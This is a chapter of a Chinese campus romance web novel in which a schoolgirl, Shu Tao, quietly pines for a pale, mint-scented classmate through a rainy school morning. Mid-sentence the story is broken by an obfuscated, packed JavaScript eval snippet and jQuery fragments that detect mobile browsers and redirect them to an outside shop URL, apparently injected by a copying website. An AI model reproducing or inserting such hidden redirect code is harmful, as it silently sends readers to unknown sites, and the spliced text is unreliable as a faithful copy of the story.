《悄悄许愿》
文/青山吟
晋江文学城首发
“这条路长茫没有尽头,人哀求,素湍回流,你回头。”
-
又是暴雨天。
狂风骤雨砸在绿叶上,一声接一声,没个消停。空气里弥漫着泥土翻卷起来的气息,混了一点草木被雨水浇透之后的涩味。
书陶仔细折好伞,将其靠在教室后门外的墙角边,低头时瞥见干净的蓝白色袖口上多了几点泥渍。
方才路上被个踩水坑的小孩溅的。
心里轻叹一声,她老老实实脱下校服外套,拎着往洗手台走去。
水龙头是老式的旋转式,拧开时会先发出一阵空转的“嘎嘎”声,然后才猛地吐出水来。
南汀一中的设施和它的校龄一样老旧。
三年前书陶还在附中读书时,就听说一中打算翻新厕所、建新操场,然而三年过去,如今她都成了一中的学生,那些规划还是连个影都没见着。
这周的洗手液还没补上,书陶只能就着清水搓,袖口上的泥渍晕开一大片,怎么洗也洗不干净。
她正苦恼,忽地听见有人走近,近处的地砖被踩出两下沉闷的响声,紧接着是“嗒”的一声。
有什么东西被放在了瓷砖台面上。
书陶下意识看过去,原本空荡荡的洗手台多了一瓶绿色的滴露。
再转过头。
梁以舒目不斜视地走过,留给她一个笔直而疏离的背影,高马尾在脑后一甩一甩的,好似一面无声招展的旗。
进教室时,班里已经稀稀拉拉坐了好几个人。听见脚步声,有人抬起眼皮,见是书陶,又松了口气,低头继续补周末的作业。
同桌颜沛倒是很高兴,补作业间隙朝她挥了挥手,还比了个爱心。
她的座位在门口靠窗的第一排,书陶放下书包,犹豫了一下又把刚穿上的校服脱下来,随后慢吞吞走出教室。
暴雨已然停歇。
窗户里层挂了一道遮光的绿色帘子,外层玻璃上凝着一层薄薄的水汽,正沿着窗面往下滑。
水痕之后,映出女孩干净而浅淡的眉眼。
书陶笨拙地抬手拨了拨头发,确保不会呈现任何难堪或奇怪的状态后,才转身从后门折回教室。
后排很多座位都是空的,书陶沿着过道往里走,中途状似不经意地抬眼朝最后一排扫了扫,又飞快收回视线。
空荡荡的,桌面上什么都没摆。
今天……还没来吗?
没能看到想见的人,她抿了抿唇,心里涌现出些许失落。
黑板旁边电子钟跳动的红色数字是六点三十。
书陶观察过很多次,那人总是在六点二十五到六点三十之间到校,从没有一次例外。
除了今天。
于是原先那点不自觉的雀跃,此刻全被担忧盖了过去。
心不在焉地又往前走了几步,书陶在那张全黑系装饰的课桌前停下来,把小瓶滴露放在桌角,轻声解释道:“你刚刚忘记拿了。”
梁以舒正拿笔涂着什么,闻声下意识用手遮了一下本子,警觉地抬起头。
目光落在书陶瓷白而漂亮的脸上,梁以舒嘴唇动了动,最终却还是没出声,而书陶似乎也没在等她的回应,放下东西便转身走了。
今天早读是语文,书陶作为课代表之一,需要上台领读。
班里同学拖着调子念到“书生意气,挥斥方遒”时,门口照例经过一群乌泱泱来视察的领导。
脚步声停在门口。
语文老师轻咳了一声,紧接着同学们朗读的声音陡然拔高了几分,调子也不再那么懒散。
书陶面上认真地领着读,心里却不自觉地捏了把汗。
班里好几个空荡荡的座位,一眼扫过去,缺席的人比往常多了好些。
果不其然,隔着嗡嗡读书声,她模模糊糊听见走廊里有人在问为什么这么多人没来,语文老师大概在低声解释着什么。
书陶只能捕捉到几个零碎的字眼,听不真切。
早读结束的课间,颜沛掰了半个抹茶贝果递过来,自己腮帮子鼓鼓地嚼着。吃着吃着忽然停下来,用胳膊肘碰了碰书陶,然后朝后排某个方向抬了抬下巴。
动作神神秘秘的,书陶一时没明白她是什么意思。
直到顺着她方才的视线望过去,刻意忽略某个空旷无人的座位,才意识到她示意的人是梁以舒。
“她刚才没有欺负你吧?”
“啊?”
颜沛神情担忧且真挚,“感觉她脾气看起来不是很好的样子。”
“没有啦,你别担心。”
书陶失笑,不自觉弯了弯唇,“她人其实很好的。”
每周一例行升国旗和国旗下讲话,下课铃一响,班主任准时出现在门口,招呼学生排队下楼。
“方老师,外面还下着雨呢——”有胆子大的男生拖长调子,“还要出去啊?”
“对啊老师,在教室里自习多好!”
“少贫,雨早停了。”
方言礼可不惯着他们,板着脸撂下这句话。
说完便往门口一站,示意他们动作快点,无人敢再磨蹭,教室里响起一阵窸窸窣窣的拉椅子声,陆续起身往外走。
如方言礼所言,清晨那场雨确实已经停了,当下的天彻底放晴。
雨后天空是焕然一新的状态,太阳从云层后透出来,阳光穿过尚未散尽的水汽,拉出一道淡得近乎透明的七色彩虹。
升国旗、唱国歌,一套流程走完,紧跟着的是国旗下讲话,台上的主任拿着话筒中气十足地喊了好几声“安静”,底下的讨论声依旧此起彼伏。
颜沛趁乱偷偷往右移了一点位置,面上还装模作样地直视前方,嘴唇却轻轻翕动着和旁边的女生说悄悄话。
“听说本来这周安排的发言人是徐简野,但最后不知怎么的变成了梁以舒。”
书陶没吭声。
半天没等到回应,颜沛稍稍偏过脑袋看她,目光在她脸上停顿片刻,随即声音里带上真切的惊奇,“你真的好白啊,皮肤也好好。”
的确漂亮,圆杏亮眸,睫毛又长又密,眼尾微微下垂,离近一点甚至能看清她脸上那层透明的绒毛。
书陶从小到大都不太会应对这种直白的夸奖,只笑笑,然后小声转移话题。
“梁以舒好像上台了,我们等会儿再说吧。”
这时主任终于忍无可忍,像一阵风似的从台上窜下来,精准地揪出几个交头接耳的学生,让他们结束后留下罚站。
差点被抓住的颜沛心虚地闭上嘴,不敢再出声。
书陶却还在反复回想她刚刚那句话,望着前面的旗杆出了会儿神,又不自觉地回忆起另一个人的轮廓来。
要论白,他大概才是最白的那一个吧?
-
“书陶,这些作业批好了,搬回去吧。”
语文老师效率惊人,只一个升旗仪式的功夫便批完了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970350|214639||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早读交上来的习题册,书陶来交默写本,正好被她喊住。
“欸等等——”见书陶吭哧吭哧搬起习题册后,习题堆得比头顶还高,语文老师顺嘴问,“纪鸿渐呢?怎么不跟你一起来,让你一个女生搬这么多?”
选拔班委时,班主任本着“男女搭配,干活不累”的原则,各职位都安排了两人,纪鸿渐则是另外一个语文课代表。
书陶习惯性抿了抿嘴,扬出一抹很乖的笑,“老师,他今天好像还没来。”
想起这茬,语文老师“哦哦”两声,随即立刻扭头,开始朝隔壁桌的方言礼吐槽:
“你们班今天怎么回事啊?这么多人没来。我早读……”
“……”
书陶自觉已经没自己什么事了,就没再继续听下去,抱起那摞《优化方案》往门口走。
走廊里光线明亮,办公室对面的栏杆上摆了好几株绿植,空气里还残留着雨后泥土翻起来的潮气。
再回过神来,是闻到一阵浅淡的薄荷清香,清冽、干净,伴随了扑面而来的清凉感。
书陶对这个味道再熟悉不过,因为整个班只有那个人身上会有。
听说是因为家中养了满满一屋子的薄荷叶,他便不可避免地染上这种气息。
她曾经尝试在脑海里勾勒那个画面,却怎么也拼凑不出来。
他被围在一堆薄荷叶中间的样子……
怎么想都觉得很违和。
慢半拍地,书陶反应过来什么。
缓缓抬眼,终于见到自己日思夜想的人。
她想,无论是谁看到他,最先注意到的,大概都是他那副好到能去当模特的身材比例。
肩宽腿长,身形挺拔。
一身黑色卫衣,卫衣帽子随意地垂在肩后,露出一截冷白的脖颈。
肤色是那种不太健康的苍白,唇色也淡,整个人透着几分倦懒。
他耷拉着眼皮,狭长而漆黑的眸子只抬起一瞬,很快又恹恹地垂下。
像是对周遭一切都提不起兴致。
办公室的门大喇喇敞开,男生进去之后,书陶鬼使神差地停下来,没再往前走。
里头说话声很清晰地漏出来。
“你小子,怎么现在才来?”语文老师笑着问。
然后是那个她熟悉到刻骨铭心的声音,拖腔带调的,鼻音还有点重,“感冒嘛,跟方老师请过假了。”
方言礼不忘关心他的身体,“好全没有啊?”
书陶屏住呼吸,想知道他的答复,奈何还没来得及听见什么,就瞥见办公室里有个老师端着杯子朝门口走过来,好像是要出来接水。
她做贼心虚似的往前快走了好几步,直到拐过墙角才停下来。
心跳声震耳欲聋,书陶努力平复着自己的呼吸。
与他擦肩而过的那一刹那,空气倏然安静。
书陶迅速低垂下脑袋,视线落在自己的鞋尖上,思绪乱成一团。
刘海有没有歪?站姿会不会太僵硬?他有没有往这边看?有没有注意到自己?
他是生病了吗?有吃过药吗?病好全了吗?怎么不在家多休息两天?
闭上眼,方才那一幕依然在脑海里反复回放。
怎么都挥之不去。
她有些沮丧,止不住地懊恼为什么没能表现得再好一点。
最后,无端想起早读课念过的那篇课文。
——恰同学少年,风华正茂。
他便是风华正茂的代名词。